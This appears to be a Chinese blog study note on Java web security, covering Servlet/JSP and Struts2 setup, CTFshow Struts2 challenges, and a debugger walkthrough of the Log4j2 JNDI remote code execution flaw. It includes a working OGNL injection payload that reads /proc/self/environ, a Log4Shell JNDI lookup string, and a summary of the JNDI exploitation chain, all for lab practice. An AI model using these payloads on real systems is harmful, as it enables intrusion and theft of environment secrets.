java安全入门【持续更新】

java安全入门

概述

发现一个总体学习路线:Java Web基础 – EastJun’s Blog

发现一个入门网站:https://how2j.cn/?p=50613

了解了javaEE

Java EE,Java 平台企业版(Java Platform Enterprise Edition),之前称为Java 2 Platform, Enterprise Edition (J2EE),2018年3月更名为 Jakarta EE(这个名称应该还没有得到群众认可)。是 Sun 公司为企业级应用推出的标准平台,用来开发B/S架构软件。Java EE 可以说是一个框架,也可以说是一种规范。

JavaEE 是 Java 应用最广泛的部分。

总而言之就是java web框架

一般来讲,初学者应该遵循以下路径

Servlet -> JSP -> Spring -> 组合框架

Servlet 和 JSP 在日后的开发中虽然很少直接应用,但却是各种框架的基础,应该放在开始去了解。这两部分也并不难,相信经过了 JavaSE(javaEE的基础框架) 的洗礼,只需要进行短期的学习,知道它们都是什么,就可以投入实践中了。

题目

ctfshowjava

工具下载:(不过似乎有点问题)

HatBoy/Struts2-Scan: Struts2全漏洞扫描利用工具 (github.com)

工具使用参考:

[ctfshow web入门 (java) | Y0ng的博客 (yongsheng.site)](http://www.yongsheng.site/2021/04/04/ctfshow web入门 (java)/)

wp详解参考:(65条消息) CTFshow刷题日记-WEB-JAVA(web279-300)Struts2全漏洞复现,Java漏洞复现_OceanSec的博客-CSDN博客_编写payload

(65条消息) ctfshow java篇_penson by 小乌的博客-CSDN博客_ctfshow java

payload

%{
#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat","/proc/self/environ"})).redirectErrorStream(true).start(),
#b=#a.getInputStream(),
#c=new java.io.InputStreamReader(#b),
#d=new java.io.BufferedReader(#c),
#e=new char[50000],
#d.read(#e),
#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),
#f.getWriter().println(new java.lang.String(#e)),
#f.getWriter().flush(),#f.getWriter().close()
}

image-20220323160608710

然后原本还想用工具扫描利用,结果出了点问题,首先是url里面80端口不能省略,其次是S2-001不支持使用

image-20220323161208293

环境搭建

跑一个javaweb需要jdk(提供服务端语言java和他的环境)+tomcat(之类的web中间件)+idea(之类的ide来编辑,开发网站)

jdk如何下载网上教程极多,这里使用jdk 11.0.8

tomcat安装配置:JavaWeb学习总结(一)——JavaWeb开发入门 - 孤傲苍狼 - 博客园 (cnblogs.com)

配完环境变量以后启动tomcat也可以

startup

idea配置javaweb,参考

如果你和我一样找不到java ee还有web application的话,第一时间检测是否安装了旗舰版(学生免费),不是的话卸载重装;如果是的话,可能你的版本得像我的这样才行

image-20220325143526068

点击next后运行汤姆猫

image-20220325145046545

随后会自动跳转

image-20220325145330337

如果configurations下面打叉,点开后有warning的话,看看是不是遇到了这个问题(67条消息) 【错误解决】Intellj(IDEA) warning no artifacts configured_鼠小的博客-CSDN博客

倘若你是用eclipse的,要搭建Eclipse JSP/Servlet 环境,假定你已安装了 JDK 环境,如未安装,可参阅 Java 开发环境配置

我们可以使用 Eclipse 来搭建 JSP 开发环境,首先我们分别下载一下软件包:

  • **Eclipse J2EE:**http://www.eclipse.org/downloads/
  • **Tomcat:**http://tomcat.apache.org/download-70.cgi

之后根据菜鸟Eclipse JSP/Servlet 环境搭建 | 菜鸟教程 (runoob.com)进行配置

接下来便是简单的web知识学习

基础jsp知识

建议跟着菜鸟来一遍,从这里开始JSP 语法 | 菜鸟教程 (runoob.com)

可以一直看到

看不明白的可以看看miku大神的博客https://miku233.cn/2022/03/24/javaweb/

jsp动作元素那一块的知识,由于菜鸟示例中用的是Eclipse搭建,所以这里可以按照我的来复现:

image-20220325212223504

正常你会发现这有三个一样的东西

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-kuwqkRbg-1648355058882)(C:/Users/20281/AppData/Roaming/Typora/typora-user-images/image-20220325212259676.png)]

这与菜鸟里面的描述是很相似的,大胆推测我们直接在某处写java就可以自动部署上去了

image-20220325212407933

new 一个testbean.class,内容如下

package com.example.demo2;

public class TestBean {
    private String message = "菜鸟教程";

    public String getMessage() {
        return(message);
    }
    public void setMessage(String message) {
        this.message = message;
    }
}

后面在index.jsp同级目录下新建main.jsp

<%@ page language="java" contentType="text/html; charset=UTF-8"
         pageEncoding="UTF-8"%>
<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8">
    <title>菜鸟教程(runoob.com)</title>
</head>
<body>

<h2>Jsp 使用 JavaBean 实例</h2>
<jsp:useBean id="test" class="com.example.demo2.TestBean" />

<jsp:setProperty name="test"
                 property="message"
                 value="菜鸟教程..." />

<p>输出信息....</p>

<jsp:getProperty name="test" property="message" />

</body>
</html>

之后访问/main.jsp

image-20220325212609133
这个可以看快点,因为后面接触题目接触多了就熟悉了,我们更重要的是去熟悉后端语言

Servlet

Servlet3.0之前的版本都是在web.xml中配置,而3.0之后使用注解方式来配置。

基于web.xml

<web-app>
    <servlet>
        <description>xxx</description>
        <display>user</display>
        <servlet>user</servlet>
        <servlet-class>com.sec.servlet.UserServlet</servlet-class>
    </servlet>
    <servlet-mapping>
        <servlet-name>user</servlet-name>
        <url-pattern>/user</url-pattern>
    </servlet-mapping>
</web-app>
  • :声明Servlet配置入口
  • :声明Servlet描述信息
  • :定义Web应用的名字
  • :声明Servlet名称以便在后面的映射时使用
  • :指定当前servlet对应的类的路径
  • :注册组件访问配置的路径入口
  • :指定上文配置的Servlet的名称
  • :指定配置这个组件的访问路径

给一个demo

package com.example.demo3;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;

public class HelloServlet extends HttpServlet {
    private String message;

    @Override
    public void init() throws ServletException {
        message = "Hello world, this message is from servlet!";
    }

    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        //设置响应内容类型
        resp.setContentType("text/html");

        //设置逻辑实现
        PrintWriter out = resp.getWriter();
        out.println("<h3>" + message + "</h3>");
    }

    @Override
    public void destroy() {
        super.destroy();
    }
}

把这个复制黏贴进HelloServlet.java,这样源码就好了

之后是获取依赖和修改设置:

随后亲测用前面方法配置servlet极其复杂,文件目录和网上的博客都有较大的出入,配置servlet注意要看清自己idea的版本,如果新版本的话可以参考这个(81条消息) IDEA新建Servlet项目(适用于IDEA 2020.2及以上版本)_「已注销」的博客-CSDN博客_idea创建servlet项目

但其实和前面的方法配置出来的结果本质都是一样的吧,差异在于下面这个class

image-20220330132501584

如果是前面的方法默认是C:\Users\20281\IdeaProjects\demo3\target\demo3-1.0-SNAPSHOT\WEB-INF\classes

后者则是图中自定义的,其实都可以,接下来导入tomcat依赖等等可以自己去看上面的参考

最后是这个配置web.xml,我的是这样

 <servlet>
        <servlet-name>HelloWorld</servlet-name>
        <servlet-class>com.example.demo3.HelloServlet</servlet-class>
    </servlet>

    <servlet-mapping>
        <servlet-name>HelloWorld</servlet-name>
        <url-pattern>/HelloWorld</url-pattern>
    </servlet-mapping>

简单的说<servlet-class> 是规定class文件的位置(就是直接包名+类名),<url-pattern>是规定路由的,项目目录若是如下

image-20220330133314899

就直接/HelloWorld

image-20220330132525095

报错是这个

(81条消息) java.lang.NoClassDefFoundError: javax/servlet/http/HttpServlet_丘山凶二的博客-CSDN博客

tomcat9下载

Apache Tomcat® - Apache Tomcat 9 Software Downloads

改环境变量

下载完安装文件后,将压缩文件解压到一个方便的地方,比如 Windows 下的 C:\apache-tomcat-5.5.29 目录或者 Linux/Unix 下的 /usr/local/apache-tomcat-5.5.29 目录,然后创建 CATALINA_HOME 环境变量指向这些目录。

image-20220330122043396

改完自己startup试试,发现是tomcat9的页面了,关掉以后idea可以重新配置一下configurations之后run了

image-20220330133559941

之后稍微了解一下tomcat

image-20220330165218267

之后可以学习简单的servlet编程

Servlet方法

image-20220330165416676

继承HttpServlet 方法 ,然后熟悉一下get post方法

@Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws
            ServletException, IOException {
        System.out.println("Http GET");
    }
    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp)
            throws ServletException, IOException {
        System.out.println("Http POST");
    }

image-20220330165434375

还有一些表单提交什么的,简单复现一下就行

重点应该放在jndi等等

OGNL

一种语言,常在web框架如struts2中使用

OGNL详解 - 陪看天涯海角 - 博客园 (cnblogs.com)

直接在pom.xml写会警告

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上image-20220330171951399

大概是因为找不到ognl包,这个时候需要我们去导入

由于学习ognl是为了学习ognl注入,即structs类漏洞的基础,除此之外,structs自带很多jar包,其中就包含了ognl,所以我们这里顺手搭建structs环境的同时可以导入ognl包

搭建struts 2

(81条消息) IDEA2020版本搭建struts框架_qq_45486005的博客-CSDN博客_idea2020没有struts2框架

注意看自己版本,倘若是idea2021版本,按照这个(81条消息) IntelliJ IDEA2021.2搭建struts2框架_zhangz1z1的博客-CSDN博客_idea搭建struts2框架

一切以上面的博客链接为主,以下是我搭建的时候遇到的坑点

最后用 struts 2框架 搭建好的 我放在在 strutstest这个工程文件里, struts下完插件会变成如图

image-20220330213527466

之后简单配置

image-20220330213757998

最后到web.xml的时候

这里面有点小问题,会报错:cannot resolve class web.xml

<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
         version="4.0">
    <display-name>demo</display-name>
    <!-- 设置欢迎界面,登录网站时首先展示的页面 -->
    <welcome-file-list>
        <welcome-file>/login.jsp</welcome-file>
    </welcome-file-list>

    <filter>
        <!-- 配置struts2核心控制器的名称 -->
        <filter-name>struts</filter-name>
        <filter-class>
            org.apache.struts2.dispatcher.filter.StrutsPrepareAndExecuteFilter
        </filter-class>
    </filter>
    <filter-mapping>
        <!-- struts2控制器的名称 -->
        <filter-name>struts</filter-name>
        <!-- 拦截所有的以action结尾的请求,让静态资源可以正常加载 -->
        <url-pattern>*.action</url-pattern>
    </filter-mapping>

</web-app>

其实是识别错了,把里面所有注释删掉即可

然后运行的时候又报错严重 [RMI TCP Connection(3)-127.0.0.1] org.apache.catalina.core.StandardConte 一个或多个筛选器启动失败

如下图修改,原因是找不到jar包

image-20220330222515451

之后成功

image-20220330224807164

ognl语法学习

struts2系列漏洞复现

倘若不追求理解只是想复现漏洞利用流程的话,可以直接使用:vulhub(81条消息) S2-001 远程代码执行漏洞复现_humble嘻的博客-CSDN博客

个人觉得这个洞了解了解就行了,其实也没那么深奥不是嘛,给人一种ssti的感觉

payload特征

%{111}

%{‘111’}

其实就是这样:%{}

Spring

待补充

Log4j2

环境搭建

image-20220401164603312

demo

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class Log4jTest {
    public static void main(String[] args) {
        Logger logger = LogManager.getLogger();
        //int a = 1;
        logger.error("miku");
    }
}

image-20220401165048490

代码

package main;

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class Log4jTest {
    public static void main(String[] args) {
        Logger logger = LogManager.getLogger();
        //int a = 1;
        logger.error("${java:version}");
    }
}

image-20220401165059833

漏洞复现

demo

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class Log4jTest {
    public static void main(String[] args) {
        Logger logger = LogManager.getLogger();
        //int a = 1;
        //logger.error("${java:version}");
        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
        System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
        logger.error("${jndi:rmi://127.0.0.1:12345/hello}");
    }
}

其实就是换成

System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true"); System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true"); logger.error("${jndi:rmi://127.0.0.1:12345/hello}");

这几句

image-20220404154416861

logger.errorJndiLookup.lookup进行调试

结论:在StrSubstitutor.subtute方法,存在递归,payload进去以后会varname为jndi:rmi://127.0.0.1:12345/hello,之后在JndiLookup.lookup触发恶意代码执行

流程分析

image-20220404155033476

image-20220404155107468

image-20220404155134572

image-20220404155306728

image-20220404155419821

image-20220404155454451

image-20220404155514376

image-20220404155552783

image-20220404155655094

image-20220404155749725

image-20220404155822673

image-20220404160718089

之后一直看到append就跟进去,来到这里tryCallAppender

image-20220404160921917

image-20220404161200382

image-20220404161239433

image-20220404161331935

image-20220404161419756

image-20220404161504758

image-20220404161825909

这里的 formatters 方法包含了多个 formatter 对象,其中触发漏洞的是第8个,其中包含 MessagePatternConverter

image-20220404162026379

跟入看到调用了 Converter 相关的方法

image-20220404162128982

image-20220404162231454

不难看出每个 formatter 和 converter 为了构造日志的每一部分,这里在构造真正的日志信息字符串 部分 跟入 MessagePatternConverter.format 方法,看到核心的部分

image-20220404170912282

可以看到这个value的值是 ${jndi:rmi://127.0.0.1:12345/hello}

image-20220404171143001

跟进replace方法

image-20220404171234761

跟入 StrSubstitutor.subtute 方法,存在递归,逻辑较长 主要作用是递归处理日志输入,转为对应的输出

image-20220404171341327

跟入StrSubstitutor.subtute方法,存在递归,逻辑较长

主要作用是递归处理日志输入,转为对应的输出

image-20220324220931210

private int substitute(final LogEvent event, final StringBuilder buf, final int offset, final int length,
                       List<String> priorVariables) {
    ...
    substitute(event, bufName, 0, bufName.length());
    ...
    String varValue = resolveVariable(event, varName, buf, startPos, endPos);
    ...
    int change = substitute(event, buf, startPos, varLen, priorVariables);
}

其实这里是触发漏洞的必要条件,通常情况下程序员会这样写日志相关代码

logger.error("error_message:" + info);

黑客的恶意输入有可能进入info变量导致这里变成

logger.error("error_message:${jndi:rmi://127.0.0.1:12345/hello}");

这里的递归处理成功地让jndi:rmi://127.0.0.1:12345/hello进入resolveVariable方法

可以看到varname为jndi:rmi://127.0.0.1:12345/hello

image-20220324221318570

经过调试确认了关键方法resolveVariable

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-yUF5Qehc-1649064423227)(https://raw.githubusercontent.com/Eleina-233/image2/main/image-20220324221417501.png)]

进入lookup()

image-20220324221510270

这里的strLookupMap中包含了多种Lookup对象

image-20220324221543846

跟入JndiLookup.lookup

image-20220324221655501

跟入JndiLookup.lookup

image-20220324221930943

最后触发点JndiManager.lookup

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-lSIdGNfB-1649064423229)(https://raw.githubusercontent.com/Eleina-233/image2/main/image-20220325103003741.png)]

jndi

环境搭建以及漏洞复现

image-20220401205420798

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-zth5WPGT-1649064423231)(https://raw.githubusercontent.com/hmt38/abcd/main/image-20220401205923639.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-UMsEU6NL-1649064423231)(https://raw.githubusercontent.com/hmt38/abcd/main/image-20220401210410869.png)]

image-20220401224204001

流程分析

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-XCjobLuP-1649064423232)(C:/Users/20281/AppData/Roaming/Typora/typora-user-images/image-20220404135257576.png)]image-20220404135340457

从这里进入 lookup() 方法

image-20220404135521593

getURLOrDefaultInitCtx函数会分析name的协议头返回对应协议的环境对象,此处返回Context对象的 子类rmiURLContext对象,然后在对应协议中去lookup搜索,我们进入lookup函数

image-20220404135730538

此处this为rmiURLContext类调用对应类的getRootURLContext类为解析RMI地址,不同协议调用这个函 数,根据之前getURLOrDefaultInitCtx(name)返回对象的类型不同,执行不同的getRootURLContext ctx.lookup()去注册中心调用lookup查找,我们进入此处

image-20220404140111645

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-JuL6XnlE-1649064423236)(https://raw.githubusercontent.com/hmt38/abcd/main/image-20220404140220902.png)]

注意到下面的服务端代码,我们在RMI服务端绑定的是一个Reference对象,世界线在这里变动 如果是Reference对象会,进入var.getReference(),与RMI服务器进行一次连接,获取到远程class文 件地址。 如果是普通RMI对象服务,这里不会进行连接,只有在正式远程函数调用的时候才会连接RMI服务。 getObjectInstance()获取reference对象,进入此处

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-mpRIMXWx-1649064423238)(https://raw.githubusercontent.com/hmt38/abcd/main/image-20220404140525221.png)]

进入getObjectFactoryFromReference()

image-20220404140838074

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-K3ssUGWl-1649064423239)(https://raw.githubusercontent.com/hmt38/abcd/main/image-20220404140957333.png)]

该函数开始尝试从本地获取该class 
如果不在本地classpath,
从cosebase中获取class 此处codebase是我们在恶意RMI服务端中定义的http://127.0.0.1:8081/ 
然后从我们放置恶意class文件的web服务器中获取class文件 
实例化我们的恶意class文件

image-20220404141040883

这里的class就是我们在服务端放置的hello

在调用 getObjectFactoryFromReference() 方法获取 ObjectFactory 类时调用了 helper.loadClass() 方法对远程的 ObjectFactory 类进行加载并实例化:

然后就会去远程的恶意服务器获取字节码进行加载,造成RCE。

漏洞利用小结

整个利用流程如下:

  • 首先需要编写恶意类,可以在构造方法、静态方法或getObjectInstance()方法中写恶意代码
  • 在RMI Server中绑定一个用ReferenceWrapper封装的Reference类,其中指定classFactoryLocation为远程类的地址,该地址可以是file/http/ftp协议的
  • 然后RMI Client调用InitialContext.lookup()方法时RMI Server返回一个Reference类,接着RMI Client会动态加载并实例化ObjectFactory类,并调用ObjectFactory类的getObjectInstance()方法
  • 在本地找不到ObjectFactory类时,会去远程的恶意服务器获取ObjectFactory类进行加载并实例化造成RCE

但是在JDK 6u132、7u122、8u113之后新增了com.sun.jndi.rmi.object.trustURLCodebase选项,并且默认值为false,不允许从远程的Codebase加载Reference的工厂类。decodeObject()方法中有对com.sun.jndi.rmi.object.trustURLCodebase进行判断

image-20220404141300247

建议弄完这个去试一试ctfshow的log4j复现(今年1月份还有环境,现在不知道有没有),或者拉个vulhub下来练一练,使用一下github上面的exp,收悉利用

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值